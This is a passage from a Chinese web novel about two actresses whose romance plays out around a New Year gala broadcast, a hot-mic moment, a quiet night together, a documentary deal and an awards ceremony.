苏寄欢放下手低声笑了笑，“没有，没听过。她彩排我都没时间来，今天第一次听。” “节目结束可以让她单独唱给你听。” 苏寄欢抿着唇点头：“很期待。” 粉丝大厅忽然炸了。 “谁啊！谁啊！谁干的！谁切的啊！！” “死幕视我们晏神的镜头呢！全都切没了！” “啊——————啊——————” “苏苏你别笑了！你口水都要出来了！” “完了，我真的要走不出来了，不管是不是真的，这点糖我都能磕一辈子了……” “主持人你是不是知道点什么？你怎么会问这么暧昧的问题？” 视频平台的弹幕也炸了。 【我劁！谁干的！我劁这是直播！幕视你非要在今天卖吗！！！】 【不儿，怎么会切到直播采访厅啊？怎么肥事！这是演出事故吧！】 【我说[月星百万］你说——】 【天下第一！！！】 【终于不在旧视频里找糖磕了，谢谢Mothantv（幕视），谢谢ilmeth，谢谢导播，谢谢妈妈妈咪】 【我的cp没有be！！没有！！！】 【官方的饭来了，我大吃特吃！】 演播室，耳机里有声音传来，导播嗑着瓜子按下接听键，“咋了？” “你怎么切苏寄欢的采访厅画面啊！演出事故了啊啊啊啊！” “她们不是一对儿吗？不能切吗？”导播疑惑，“上次王导就切了。” “上次那两个人是真情侣，台长为了热度才让切的，但这个不是啊！” “哈啊？？！！她们不是早就在一起了吗？” “在个毛啊！谁跟你说的！快切回来！” “我去！”导播看着已经切了将近20秒的双人同框画面，手忙脚乱切回舞台。 不是吧！谁说她们是真的？谁说的！说得自己都信了！导播欲哭无泪。 完蛋了，要被扣工资了…… 节目结束后，粉丝大厅里的各家粉丝都在讨论此事。 “她俩不会真有情况吧？” “内娱又出真情侣了？” “那个主持人问得好暧昧，我不信她俩真的没情况！” “请问导播是喝醉了吗？这么大胆！” 只是[酥芽］这边集体沉默。 温晚棠捂着额头小声吐槽：“这是要干什么啊！圈内人这么过分吗！直接贴脸！” 温晚棠是有想过祝星亦唱歌会切到苏寄欢画面，但她没想到苏寄欢不在现场竟然还能被切到同框。直播采访厅里，苏寄欢应该是不知道自己被切同框，幸好她没说什么奇奇怪怪的话，不然真的跳进黄河也洗不清。 节目还在继续，但[酥芽］已经因为同框之事没有耐心继续等着。正主不在现场，那这节目看着还有什么意思？ 又等了几个节目，祝星亦穿着敦煌飞天舞的服装登台表演。 祝星亦穿了鲜艳的敦煌舞衣，色彩冲击感强，衣裙飘逸无比，长长的彩带垂着，妆容精致，满头珠翠，腕上和臂上都是精美的镯子，一出场便引得现场观众惊呼。 “我去！祝星亦好漂亮啊！我第一次get到她，她真的好美！” “浓颜系美女就适合这种精致的妆容！” “她真的快把我美晕了，她什么时候演个这样的角色啊！” 伴着音乐声，祝星亦歪颈，扭腰，勾脚，脚踝处的铃铛还被摄影师给了个特写。一个丝滑的下腰后，她又跳了十个完美的绞腿蹦子。 “哈哈哈，我要是像她这样跳，我跳两个就骨折进医院了。” “见证我们星宝麓舞第一的实力！” “她即便不做演员，做舞者也会很成功。” 舞台的灯光渐暗，借着暗光，舞者们快速扣上威亚，等灯光再打到舞台上，身着飘逸舞服的舞者们被吊起来，衣袂飘飘，宛若神女。 被吊得最高的祝星亦在半空中做着高难度动作，旋转腾飞之后，镜头特写她慵懒又十分有神性的表情。金色的光洒在她身上，*仿佛给她披上了神圣的光辉。 一舞结束，现场的欢呼声和掌声不断。粉丝大厅里的各家粉丝也在惊叹这支优美的舞。 “我说真的，我要被她圈粉了，唱歌跳舞演戏样样好，又是盛世美颜，她有什么黑料我都能忍。” “她除了谈恋爱还能有什么黑料？她现在已经是个演员了，谈恋爱也没什么吧？而且和苏寄欢谈恋爱算什么黑料吗？真不知道苏寄欢的粉丝在挑什么，这么完美的嫂子居然还嫌弃上了。” 还在大厅里的[酥芽］顿时炸毛：“谁说我们要这个嫂子了？！这嫂子给你你要不要！” 一旁的[瑾一卫］举手：“要要要，肯定要啊！我们接受嫂子的存在，你们不要就给我们咯。” “是啊，你们不要嫂子就给别人啊！祝星亦这么漂亮又有才，肯定好多人追，给你们当嫂子你们还不乐意上了。” “她跟苏寄欢恋爱又不是跟你们恋爱，不懂你们反对个什么劲儿。嘁。” 台上祝星亦表演过后被主持人喊着过去聊天，粉丝大厅还在吵吵嚷嚷。[酥芽］们从头到尾都不见苏寄欢，留在厅里的她们陆续离开。 温晚棠问景雨初内场里的情况，景雨初一直不见苏寄欢也有些着急，但晚会不结束不能离场，只能老老实实坐着。 乔汐和叶松萝一直在尖叫，景雨初捂着耳朵打字过去后忙用双手捂耳朵。 谢幕后，祝星亦和主持人聊完天，刚走回后台，便见苏寄欢匆匆赶来。 怎么自己表演完全部节目就来了？祝星亦不大高兴。 苏寄欢打量着祝星亦这一身敦煌神女妆造，看得她移不开眼，久久才回过神由衷地夸赞：“你这一身好漂亮。” 祝星亦手指绞着披帛不高兴道：“你去哪里了，我唱歌和跳舞你都不来看。” “我在直播厅接受采访，那里有节目直播，你唱歌还是跳舞我都看了。” “你又没有在现场看。” “我错了嘛，当时走不开，又不能通知你。”苏寄欢声音放软，直勾勾地盯着小狐狸漂亮的脸蛋儿，“那首歌很好听，你重新给我唱一遍好不好？” “不要，我又不是唱片机。”祝星亦咕哝了两句，抬眸迎上苏寄欢期待的目光，瘪着嘴巴说：“算了，等换完衣服给你唱。” 苏寄欢弯着眼睛，“星星真好，谢谢星星。” 观众席上忽然出现一阵阵刺耳的尖叫声，此起彼伏，没有停歇的意思。 “我去我去！啊啊啊啊！是苏寄欢和祝星亦的声音吧！我去！这是我能听到的吗！这是我可以听到的秘密聊天吗！！” “我就知道我来内场不是为了看节目！我就知道苏苏肯定不会和星星零互动！！” “她们真的不是在卖cp啊，这种对话很明显是谈了很久的啊！！” 坐在观众席上的景雨初瞪大了眼，她刚刚听到什么了？ 这老妻老妻的对话，苏寄欢这样温柔地哄人和撒娇，祝星亦的娇嗔……都被听到了，她们不要命了啊！ “啊——————”乔汐抱着头尖叫起来，“妈妈妈咪！！！妈妈妈咪你们居然真的是真的！！啊——————” 叶松萝厌烦地推了一把乔汐，“你能不能小点声！吵死了！” 后台，工作人员匆匆跑来冲祝星亦招手，指了指祝星亦。 祝星亦低头一看，麦还在身上。 刚刚和主持人聊天之后一直没关。 不会……都听到了吧？ 完了完了完了啊啊啊！！肯定都听到了！！ 祝星亦颤抖着手去关麦克风，只是太过慌乱，怎么都关不上。苏寄欢赶忙蹲下身子帮忙关，导演着急忙慌跑过来。 “那个……”看到导演，祝星亦一时之间不知道该怎么办，“我……对不起！” 导演摆摆手，“没事，刚好声音一出来我们就进广告了，就是现场观众可能听到了。” 苏寄欢取下麦抱歉道：“真不好意思，给你们添麻烦了。” 导演瞥了眼两人，也不好说什么，幽幽道：“没事，不麻烦，没说什么虎狼之词就不算麻烦。” “嗯？”祝星亦疑惑。 导演朝苏寄欢投去意味深长的目光，挥挥手，“下次注意就好，不过明早上可能都是你们的热搜。” 祝星亦愣了会儿，苏寄欢喊她去换衣服。 已是晚上十点多，在内场的嘉宾不能随意出来，苏寄欢没去内场坐，倒是可以自由活动。 祝星亦换完衣服小跑到苏寄欢身边。 穿过表演人员，祝星亦问苏寄欢等下要去做什么。 “我们可以直接走了。”苏寄欢带她从偏门出去，“也没别的事，我直接送你回家，怎么样？” “你今晚要回家守岁吗？”祝星亦问。 苏寄欢摇头，“不，我住酒店。” 住酒店？ 祝星亦拧着眉毛，“时间还早，怎么不直接回家？除夕夜就住酒店吗？” 苏寄欢推开门，偏门那处粉丝不多，两人捂得严实，没人认出来。 进车里，扣上安全带，苏寄欢道：“苏芙还在内场，她大概零点之后才能出来，我自己回家不太好。” 发动车，苏寄欢握紧方向盘离开幕视大楼。城市路两边的道路被五彩灯环绕，巨大的红灯笼高高悬挂，与闪烁的霓虹相互映衬。路上的行人很多，巨大的电子屏显示着新年倒计时。 “但你现在回酒店的话，那酒店不就你自己一个人了？”祝星亦担忧道。 苏寄欢淡声说：“是啊。不过还好吧，我睡得早，回去就能睡着，今天直播采访也是累坏了。一个人……我也习惯一个人了，以前在剧组就是一个人过年。” 听着，祝星亦垂下眼睫，声音低闷：“苏老师……” “怎么了？” 祝星亦手指攥紧大衣，鼓足勇气说：“苏老师，你要不跟我一起跨年好了。容羽珍给我换了套房子，两室一厅，你来我家，住得下。” 苏寄欢挑起一侧眉：“这不太好吧？” “没事的，有两个卧室呢。” “会不会有点麻烦你？” “不麻烦。” “那我先回酒店拿我的行李。”到一个路口，苏寄欢快速打方向盘朝酒店方向驶去，“今晚就麻烦你了。” 祝星亦揉揉发烫的耳朵，“不麻烦。” 打包好行李去开车，苏寄欢难得在别人家留宿，是一个新奇的体验。 开灯，苏寄欢推着行李进来。 简约的屋子，东西很少。 祝星亦去收拾次卧，苏寄欢在屋子转悠两圈，打开柜子，打开冰箱，拉开窗帘在阳台站一会儿。 又踱步到祝星亦的卧室，深吸一口卧室的香气，脱了大衣在床上躺了一下，起身后再把床单铺平整。 想起苏芙还在晚会现场，苏寄欢给她发消息。 苏寄欢：【我把车开走了，你自己打车回酒店】 苏芙：【？？？】 苏芙：【你回家了？】 苏寄欢：【没有，回星星家了，她怕我一个人过年孤单，把我带回她家了】 苏芙：【？？？】 苏芙：【你自己没有家吗？】 苏芙：【真要是有空直接回阿姨家，还有，你自己的房子不够住吗？你为什么去别人家住？】 苏寄欢：【我有事，先不聊了】 苏芙：【我得等好久才能出来，你俩要是还没睡，给我打个车】 苏芙：【给我打车听到没！！！】 苏芙：【死鸭头！！给我打车听到没！！！】 苏寄欢按下关机键，趿拉着拖鞋到次卧。 祝星亦认真铺床，粉色的四件套。 很特别的颜色。 苏寄欢的生活里很少有粉色的物件，祝星亦送的东西除外。 已是晚上十一点，苏寄欢平常这个点儿都睡了。苏芙总说她才二十多岁就是老年人作息，苏寄欢反驳，她都快三十岁了，也算是三旬老人。 临到零点会有烟花，苏寄欢没打算太早睡觉，但眼皮子正打架。强撑着提起精神去洗漱，本要去找祝星亦说话，毕竟来这里肯定不是为了白白睡一觉。 只是身子一沾床，倒头就阖上眼。 困成狗了。 零点，烟花炸起来。 苏寄欢被这动静吵醒。 她睡眠浅，一丁点动静都能把她吵醒。 客厅里灯光还在亮着，缩在沙发上的毛茸茸抱着电脑全神贯注。 苏寄欢走近她，在她身边坐下。 屏幕里是《沉默的外乡人》剧本。 苏寄欢和薛青芳修改完剧本便拿给了祝星亦。 再过一个多月《外乡人》正式开拍，《情书》杀青后便衔接电影拍摄，苏寄欢怕祝星亦撑不住，想着等《情书》杀青后先带她去沧城住一段时间。 《外乡人》拍摄的第一个城市便是沧城，南方临海旅游城市，ilmeth和当地文旅局合作，拍摄前还要拍点纪录片。 苏寄欢喜欢ilmeth的拍摄流程，她们总喜欢做很多额外的工作，看似和作品毫不相关，却从中收获了口碑和流量。 相对于其他剧情影片来说，《外乡人》需要四个月来完成拍摄似乎太过缓慢，但对苏寄欢来说，和祝星亦朝夕相处四个月太短了。 《外乡人》结束后祝星亦会奔赴其他剧组，苏寄欢还要忙于影视板块的工作，也要进组拍戏。 忙忙碌碌的生活，怕是聚少离多。 “新年快乐。”苏寄欢出声。 毛茸茸被吓了一跳，看来并不知道她的接近。 祝星亦拍了拍胸口，缓口气弯着嘴角：“新年快乐，苏老师。” 她知道苏寄欢此时应该很困，又怕自己打扰了人睡觉，聊了两句抱着电脑准备回自己屋子。 “等等。”苏寄欢揪住毛茸茸的衣角。 祝星亦退了半步坐下来。 “你还没给我唱歌呢。”苏寄欢还记着这个，要不是麦克风耽误了事，祝星亦早就唱给她听了。 祝星亦把电脑放到别处，清了清喉咙开始唱歌。 轻缓温柔的歌声，和台上的不太一样。 苏寄欢认真望着祝星亦的脸，沉静的模样，脸颊红扑扑的。 窗外是新年的烟火。 火焰熊熊燃烧着，灰烬飘远，飘近。 时间再添一层厚度，她们又过了一年。 她撑着下巴数祝星亦的睫毛，一根，两根，三根…… 数困了，身子歪歪斜斜。 “苏老师？你要不回卧室睡觉好了。”祝星亦扶了下苏寄欢的手臂。 苏寄欢摇头，强撑着坐起来：“你唱完我再去睡。” 祝星亦点点头，继续唱。 唱了三四句，肩膀上有了重量。 她侧着头，手臂揽过苏寄欢的腰，在苏寄欢额上印个吻。 苏寄欢半掀着眼皮，笑声闷在喉咙里，“你怎么又亲我？新年第一吻？” 偷亲的人背挺得很直，无视苏寄欢的问题。 喧嚣的新年悬着绚烂的焰火，灿烂的春将近，又是一年。 时间的流逝和瞬间的美都足以让人心动。 但又不止这些。 苏寄欢挪挪身子，抬手攀上小狐狸的脖子，凑在她耳边问：“所以，你是不是喜欢我？” 第95章 苏老师，我好喜欢你呀【甜甜告白章】 【本章后面有番外】 祝星亦不说话，只一味地脸红。 苏寄欢很喜欢看祝星亦脸红。 不正经的调笑，过界的举动，还有不敢回答的问题，都会让这只看起来明明暴躁又威风的小狐狸头上炸烟花。 好友知道了总说，寄欢，你不要欺负她，会把她吓跑的。 苏寄欢抿着唇笑笑说，那不行，我对她有瘾。 偶尔也会有人跟她告状，喔，寄欢啊，你的学生很拽嘛，别总惯着她！ 她逗了逗小狐狸不满道，哪里拽了，明明很害羞。 喏，现在已经害羞到要滴水了。 苏寄欢噙着笑意伸出手，手臂往下移揽住她的腰，一手把她放在腿上抱在怀里。 祝星亦吓得花枝乱颤，支支吾吾好久才推着苏寄欢的肩膀让她放开她。 苏寄欢没顺她的意，搂紧她的腰耳语：“你不说喜欢我还总是亲我，哪有这样的？徒儿顽劣，就得惩罚。” “惩……惩罚我？” “我要罚你一定要跟我告白。”浅褐色的眼亮晶晶的，苏寄欢看着怀里的人，轻笑道：“我要听你说，你喜欢我。” 小狐狸瘪嘴，一脸不高兴，“为什么非要我跟你告白？” “因为星星是个胆小鬼。” “我才不是。唔……” 苏寄欢含住她的唇，微微用力吮吸着。小狐狸的反驳被堵住，顿时退无可退，长长的眼睫颤动不已，肌肤都泛着红。 她抓着苏寄欢的肩借力撑着，苏寄欢将她搂得更紧，另一只手顺着她的脊背缓缓游走，安抚她紧张的身子。 祝星亦喜欢苏寄欢的吻，坚定、温柔的吻比她瑟缩的吻有趣多了。她不敢乱动，任由苏寄欢主导着一切，等她想要掌握主动权的时候，苏寄欢忽然移开唇。 她低头看小狐狸雾蒙蒙的眼，翘着唇角挑起眉头。 挑衅的眼神落在小狐狸眼里，小狐狸顿时炸了毛。 祝星亦掐她胳膊，薄薄的唇咕哝几下一个字也没说出来。 “怎么？”苏寄欢收下巴，身子稍稍往后仰，“还想要？” “我要睡觉了。”祝星亦经不起逗，推着苏寄欢的肩长腿一跨，穿着毛绒袜子的脚踩在地面。 苏寄欢拉住她，困倦的身子往后靠，看似悠闲自得实则马上睁不开眼。 她没说什么，松开祝星亦的手后捏了捏红扑扑的脸。 “晚安。”苏寄欢说。 祝星亦抱着电脑仓促离开，转身回应：“晚安。” 早上刚睁开眼，趴在床边的小狐狸慌忙起身。 苏寄欢揉揉惺忪的眼，缓了好久，听小狐狸说：“快起来吃早饭了，你要回家吗？大年初一不是要去观里？” 苏寄欢坐起身子答非所问：“你偷看我睡觉？” “不能吗？”某位[偷窥狂］理直气壮。 苏寄欢垂着头笑了好久，“你怎么总让我吃亏？” “偷看你，你又不会掉肉。”小狐狸摸摸索索在床边坐下，“而且这是我家，我……” 正要再理直气壮，瞧见苏寄欢一直在笑，祝星亦才意识到自己又着了她的道。 催促过后用完餐，苏寄欢打了个电话跟祝星亦说：“我不跟她们去太宁观了，下午我们还去鹿芜观。” 上次鹿芜观的经历并不美好，祝星亦本打算拒绝，又想到程偌菲也会去，便同意了。 “偌菲早上去过鹿芜观了。”苏寄欢忽然提醒她，“她给我打过招呼，今天下午就我们两个在。” 程偌菲不去？ 祝星亦点点头：“嗯，知道了。” “你高兴吗？”苏寄欢问。 “这有什么可高兴的？” 苏寄欢一副看透了一切的模样，但并没有把话说透。 到达鹿芜观后，苏寄欢没有带祝星亦施斋饭和打扫观，她带祝星亦去了山间的小路。沿着小路走了很久才回鹿芜观祈福，把祈福牌扔在树杈子上后，苏寄欢打道回府。 “不打扫观里吗？”下山前，祝星亦开口问，“还有施斋饭，去年因为我的原因没有做，今年也不做吗？” “我和别人做过的事，你都想做一遍吗？” “是啊。”祝星亦绞着手指说，“我也可以是一个善良的人。” 苏寄欢扑哧一声笑出来，她揽着祝星亦继续往下走，“今天有事，我们得忙别的。” “什么事？” “先下山。”苏寄欢说，“我们明年再做善良的人。” 祝星亦没听苏寄欢跟她讲下山要做什么事，苏寄欢带她到餐厅坐下，等了会儿，客人姗姗来迟。 “苏小姐，抱歉，有点堵车。”杨雯对自己的迟到有些不好意思。 “我们也刚到。”苏寄欢同杨雯握手后坐下。 “祝小姐，你好。”杨雯瞄到祝星亦后满脸笑意。 苏寄欢帮忙介绍，杨雯是负责拍摄沧城文旅纪录片的执行总监。 祝星亦不知道有这个行程，杨雯说届时会跟艺域那边商议。拍摄的工作内容不多，祝星亦配合在部分热门景点出镜就好。 纪录片要在影片拍摄前完成，所以祝星亦需要提前到达沧城先完成纪录片的工作，等纪录片拍摄完毕再启动影片工作内容。 “这边安排了沧城海边的民宿给到两位，配合日常工作做到位就行。”杨雯给二人看工作安排的资料。 祝星亦需要出镜的地方很稀碎，空闲时间较多，换言之她只要在一些店和景点露个脸就算完成了拍摄内容。 杨雯更希望她能够体验和感受沧城这座城市，这样可以更好拍摄沧城的戏。故事里的安宁在成年后来到沧城生活，也能说一口流利的沧城话。 祝星亦大概了解自己需要做的事，同时也对ilmeth有了改观，没想到她们这么会为演员着想。 沧城只有安宁的故事，费琳并不会在沧城露脸，所以这一部分的戏和纪录片，晏瑾年并不会出现。 “她家里最近恰好也有事，不方便，沧城之行她不会到剧组。反正也没她的戏份，赵导本来说要同时拍摄第二站江城的故事，跟她经纪人商量后，她经纪人说也不太方便，只接受后期和祝小姐一起拍摄江城的戏，所以只能作罢。” 杨雯对此也有些为难。 三四月份江城的樱花开得正盛，团队那边已经筹备等时间到了先去拍摄一部分，等祝星亦沧城的戏份拍完再补拍出镜视频。 杨雯翻了下后面几个城市，双手交握一脸笑意，“我们团队前两天开了个会，如果江城的纪录片晏小姐不配合出镜，这很影响后续的宣传效果，所以我们打算和苏小姐商量一下在江城出镜的事。” 祝星亦这下明白了杨雯想要做什么，“所以你们希望苏老师能够出镜文旅纪录片的拍摄？” 杨雯点头。 杨雯有些不安。 她所在的文旅部经常会配合影片拍摄一些额外的片子，但合作上需要文旅部单独和艺人聊。 艺人需要无偿配合拍摄纪录片，很多艺人知道后都会拒绝。没别的理由，麻烦还没钱。 但和城市文旅局合作本就是赔本的买卖，地方文旅局抠得要死，顶多提供场地支持，比如可以配合团队对著名景点进行清场。 晏瑾年的拒绝对她来说是常事，团队每每遇到需要艺人出镜的流程都会让她头大。除了低声下气和艺人好商好量，她也没其他能做的了。 文旅部里就杨雯的部门最难做，其他部门的项目都是有偿，资源还多，就她的部门跟剧组走还无偿，每次一跟着剧组走就是几个月，艺人不配合整个团队都头大。 约苏寄欢和祝星亦来讨论这个事她心里也没底，这种不划算的买卖真要是被拒绝的话，她只能选择软磨硬泡。 艺人不配合出镜的话那条片子就废了，杨雯忐忑不安地等待苏寄欢和祝星亦的答案。 很意外，苏寄欢爽快答应了。 杨雯攥着手问：“真的吗？你可以出镜江城纪录片拍摄？” 苏寄欢点头，“我之前在江城拍过戏，对那边也熟点，如果沧城的戏份拍得快的话，我想我和星星可以赶到樱花开得最美的时候。” 她转头对祝星亦说：“沧城，江城，安城……后续的城市纪录片你都需要配合出镜，你……” “苏老师会和我一起出镜吗？”祝星亦截断苏寄欢的话。 杨雯看她们二人好像很好说话，忙说：“可以可以当然可以，如果你们不忙的话都可以一起出镜。” 祝星亦握着杯子问：“那如果全部的城市宣传片只有我和苏老师出镜，你们……可以实现吗？” 杨雯愣了下，她还不知道后续能不能和晏瑾年谈到出镜，但祝星亦的要求明显是不合理的。晏瑾年是女主，更应该肩负配合纪录片拍摄的责任。 “恐怕不行。”杨雯实话实说，“目前只能确保你和苏小姐能在沧城和江城共同出现，后续的城市如果晏小姐愿意出镜，她就必须出镜，到时候可能会安排你们三人共同出镜。” 祝星亦低着头看着杯子里的茶，许久，点点头说：“没关系，也够了。” 聊完之后确定了出镜的事，杨雯倍感轻松。她第一次碰到这么顺畅的合作，要不说苏寄欢是业界良心呢，谁跟苏寄欢合作都要夸上苏寄欢一嘴。 只是很可惜苏寄欢没有出演费琳一角，如果苏寄欢可以出演费琳，那纪录片就更完美了。 娱乐圈太现实了，谁圈子硬谁就能轻而易举获得资源。杨雯只希望像苏寄欢这么好的演员，可以抢到属于她的好剧本。 确定纪录片拍摄后，祝星亦又投入到《情书》的拍摄中。杀青那天她疲惫地赶回艺域，看着董韶喻给她定的行程松口气。 接下来只有参加玉桂奖颁奖典礼和进《外乡人》剧组，换言之，参加完颁奖典礼她便可以跟苏寄欢去沧城这个南方滨海城市。 除了工作，便只有她们两个人。 杨雯已经给她们二人选好民宿地址，沧城海边的沧海民宿，推开窗户就能看到海。两人的房间挨着，附近交通也方便，沿着海岸线看日落日出，别有一番风味。 白澜告诉祝星亦此次玉桂奖她也有提名，她入围了最佳女配角。 祝星亦觉得自己得不了最佳女配角这个奖，顶多竞争一下最佳新人奖。 “但是如果真的得奖的话，对你影响也很大。”白澜很希望祝星亦可以获得这个奖，敬业拍戏是一部分，拿奖也是一部分。 玉桂奖在电视剧奖里含金量很高，如果祝星亦真的可以靠[阿星］一角获得最佳女配角，那未来其他奖项也会为她敞开大门。 想到这里白澜止不住地感叹：“得亏当初苏小姐把[阿星］一角提到二番，如果只是一个普通角色的戏份，你出演《寄明月》恐怕不会有那么高的热度。” 祝星亦自是十分感谢苏寄欢的提携，如果当初苏寄欢没有选择她，也许她现在还在艰难往上爬。 恩情难报。 盯着电脑屏幕里的剧本台词，祝星亦忽然问：“白澜，你还记得我们上次聊的当年苏老师为什么去海外发展吗？” 白澜坐直身子，“记得，你问苏小姐了吗？” 祝星亦点点头，“对，我问了。” “是怎么回事？” “苏老师是童星出道，最初苏菱阿姨奔着自己运营苏老师的工作，免得旁人插手多生事端。后来因为资源获得的渠道难，正好有经纪公司想签苏老师，苏菱阿姨考虑了很久就签约了那家公司。” “可那家公司丝毫没有人情味，他们不让苏老师正常上课学习，苏老师发着高烧还要赶去拍戏，苏菱阿姨起诉了那家公司后成功解约。” “后来苏菱阿姨自己组建了工作室运营苏老师的工作，并借着苏老师的名气拉了很多资源，风头无两。被起诉的那家公司看不惯，于是配合其他公司利用当初解约的漏洞把苏老师和苏菱阿姨告上了法庭。” “对方请了零败诉的金牌律师，最后苏菱阿姨赔得倾家荡产，也因为圈内人联合排挤，苏老师无戏可拍，求助无门。” “那家坏经纪公司又找上门，他们威胁苏菱阿姨，如果苏老师不签给他们，他们会让苏老师永远无法演戏。” “苏菱阿姨试了很多方法去解决这件事，但所有圈内人都抱团站那家经纪公司，甚至还联合权威的新闻媒体指责苏菱阿姨的错误。” “苏菱阿姨没办法，只能拿着仅剩的存款带着苏老师去海外发展。” “那家经纪公司是晏珂投资的，其中一个团队分出来被晏璟霖接管。晏璟霖接管不久便带着原班人马成立了一个专业经纪公司——[晏影］，后来晏璟霖把[晏影］给了晏瑾年。” 这些信息落在白澜耳中后有一种不切实际的虚幻感，传言说苏寄欢是被一群人搞了才远走他乡，原来是真的。 苏菱和苏寄欢一路走来原来那么不容易。 想到祝星亦和晏氏走得近，白澜心里有些不是滋味。 虽说祝星亦现在需要和那些人接触提升自己的价值，但她面对的、讨好的可是苏寄欢的敌人。 这些人说是仇人都不为过！ 苏寄欢看着祝星亦和这些人走得那么近，会不会很难过？ 而且苏寄欢回国后又被那些人联合排挤，不知道走了多远的路才成立[苏盛］，也不知道多辛苦才有今日这番局面。 “那你知道苏小姐为什么又从海外回来的吗？我听说也有隐情，但一直没有什么内幕传来。”白澜问。 祝星亦摇头：“苏老师只说在海外也不容易，没说别的。” 是啊，苏寄欢一路走来那么不容易，可祝星亦…… 白澜思索许久说：“所以星亦，晏氏那群人这样对付苏小姐，你还……” “知己知彼，百战百胜。攻其无备，出其不意。”祝星亦打断白澜的话，“白澜，你知道吗？一把剑被铸起来就有了她的使命，她要足够坚硬、足够锋利，她要保护主人，要斩杀可恨的仇敌。” 白澜被祝星亦问迷糊了，“怎么突然说这个？” 祝星亦摆摆手说：“没事，先准备玉桂奖的事。” 看祝星亦丝毫不在意的样子，白澜叹息道：“星亦，苏小姐对你很好，我希望你不要伤了她的心。晏氏对苏小姐来说是仇人，是永远无法和解、原谅的敌人，她对你那么好你还要和她们走得近，苏小姐嘴上不说，心里肯定很难过。” 祝星亦身子顿住了，她没说话，只呆呆侧过头看窗外。 她的眼里装满了很多语言，但白澜读不懂。 直到很久很久很久之后，久到白澜都忘记了今天这番谈话，她才读懂祝星亦这个眼神。 // 玉桂奖颁奖典礼现场，《寄明月》团队一起出场。走红毯时，祝星亦跟在苏寄欢身边高兴得很，不管她得不得奖她都高兴。 如果没有意外，苏寄欢肯定会拿下玉桂奖最佳女主角。 她很为优秀的苏寄欢骄傲。 想当初她还怕把这部剧搞砸，没想到苏寄欢真的带着她杀出了一条血路。 典礼还没开始，黎芷恩与苏寄欢跟其他艺人交流着，祝星亦跟齐漫姝坐一起侃大山。 齐漫姝算着祝星亦进组的时间，拍拍胸脯打包票：“你信我，《外乡人》你肯定可以得奖，你马上就能升一线了！” “咱小声点啊，被人听到了很丢人的。”祝星亦要她赶紧闭嘴。 齐漫姝瞄了眼苏寄欢，凑在祝星亦身边问：“你俩什么进度了？你不急我都急死了。” “顺其自然。” 齐漫姝掐祝星亦胳膊，“谁要顺其自然啊？能不能赶紧A上去？” 祝星亦瞅着苏寄欢看过来，推了下齐漫姝说：“你别说这个了，我有我自己的安排。” “你别有你自己的安排了，等了一年又一年，再等下去人都老了。我给你俩助攻，我去跟苏小姐说你喜欢她。” “别啊。”祝星亦按住齐漫姝，“那我跟你保证，一个月之内，一个月之内肯定在一起。” 齐漫姝看她充满信心的表情，调侃道：“诶？你现在这么自信了？难不成你俩真的有突飞猛进的进展了？” “那可不？”祝星亦挑眉。 齐漫姝嘿嘿一笑，揽住祝星亦的脖子：“随时向我汇报，我要比宋姿缈先知道你俩的情况。” 祝星亦比了个OK的手势。 颁奖典礼开始，嘉宾打开卡片微笑道：“获得玉桂奖最佳女主角的是——” “《寄明月》里坚韧、勇敢的顾明月，苏寄欢！” 嘉宾后排的粉丝举着苏寄欢的应援牌大喊苏寄欢的名字。 镜头对准苏寄欢，苏寄欢勾着唇大气从容地笑了笑，她握了握祝星亦的手腕起身去台上领奖。发表完致辞，她向台下的嘉宾、粉丝鞠躬。 祝星亦鼓掌鼓得最卖力，等苏寄欢回来，她接过苏寄欢递来的女主角奖杯看了又看。 “真好看啊。”祝星亦把奖杯仔仔细细看了一遍，奖杯拿在手里很有分量。 晏瑾年并没有来颁奖典礼，祝星亦暗叹这晏瑾年真是好面子。要是这女人在现场，祝星亦铁定要看看她那副败者的模样。 “你以后也会拿到的。”苏寄欢拍拍祝星亦的手背，“我相信你。” 祝星亦举着奖杯目光坚定了些，“嗯！我也相信我自己。” 她把奖杯给身边的齐漫姝看，两个人像小老鼠似的对着奖杯发表评论。直到大屏幕上突然出现祝星亦的脸，祝星亦才闭嘴坐直身子。 现在到公布最佳女配角的环节了。 “获得玉桂奖最佳女配角的是——” “《寄明月》里可爱又迷人的阿星，祝星亦！” 镜头对准祝星亦，祝星亦的表情从平静变得呆滞。 “我劁！”齐漫姝顿时从座位上跳了起来，“我劁是你啊！！是你啊大星！” “祝星亦你得奖了！你也太棒了吧！”远处的宋姿缈站起来朝祝星亦的方向大喊。 嘉宾席位的其他艺人起身恭贺： “星星！！你得奖啦！！” “星星，恭喜啊！！” 苏寄欢未料到祝星亦会拿下这个奖，不过仔细想想，在去年播出的剧里，《寄明月》确实是一整年来热度最大讨论度最大，制作也极为上乘的作品。祝星亦的表现也最为亮眼，拿下最佳女配角实至名归。 太好了，星星也拿到奖了。 “星星，恭喜你！”苏寄欢眼含热泪起身鼓着掌。 周围嘉宾的目光都落在祝星亦身上，她呆愣好久都没有起身。 台上颁奖嘉宾笑着说：“看来我们的星星高兴得不知如何是好了，那么寄欢，快送星星上来吧！” 苏寄欢听后马上伸出手，祝星亦回过神来缓了口气搭上苏寄欢的手。 她居然……得奖了？ 她之前是幻想过能拿奖，但那只是幻想，现在居然真的拿到奖了。 被苏寄欢牵着手往台上走去，她眼眶一热，马上要流出泪来。 她居然能拿到含金量那么高的奖，不是什么红人奖也不是什么热度奖，而是对她演技充满肯定的奖。 这个奖不只是她的，也是苏寄欢的。 是苏寄欢选中她出演阿星，是苏寄欢夜以继日给她梳理剧情理解人设，是苏寄*欢手把手教她演，是苏寄欢日复一日在剧组陪伴她给她足够的安全感。 祝星亦踏上第一个阶梯，苏寄欢松了手。 祝星亦忍着眼泪转过身。 苏寄欢眼睛湿润，她抬了下手，轻声说：“去吧，拿你的奖。” “苏老师……”祝星亦有些哽咽，“谢谢你，苏老师。” 苏寄欢抿着唇温柔地望着她，“你永远是我的骄傲。快，去拿你的奖。” “嗯。”祝星亦吸吸鼻子去领奖。 发表完公式化的致辞，祝星亦用手指拭了下眼泪，嗫嚅着说：“最后，我隆重地感谢我生命中最重要的人，我的苏老师。谢谢你选择了我，谢谢你成就了我。未来我会更加努力，我会让你更为我感到骄傲。” 她拿着奖杯和证书弯腰鞠躬，随后，台下爆发掌声，粉丝们的尖叫不绝于耳，cp粉挥舞着彩灯旗颇为扎眼。 走下颁奖台后，祝星亦踩着高跟鞋小跑到苏寄欢的方向。苏寄欢在祝星亦到来前起身，她张开双臂，抱住了扑进她怀里的人。 齐漫姝边蹦边嗷嗷大叫，嘉宾们的掌声连绵不绝，当然尖叫声最激烈的莫过于远处的粉丝，哪怕隔那么远都能听到她们的叫喊声。 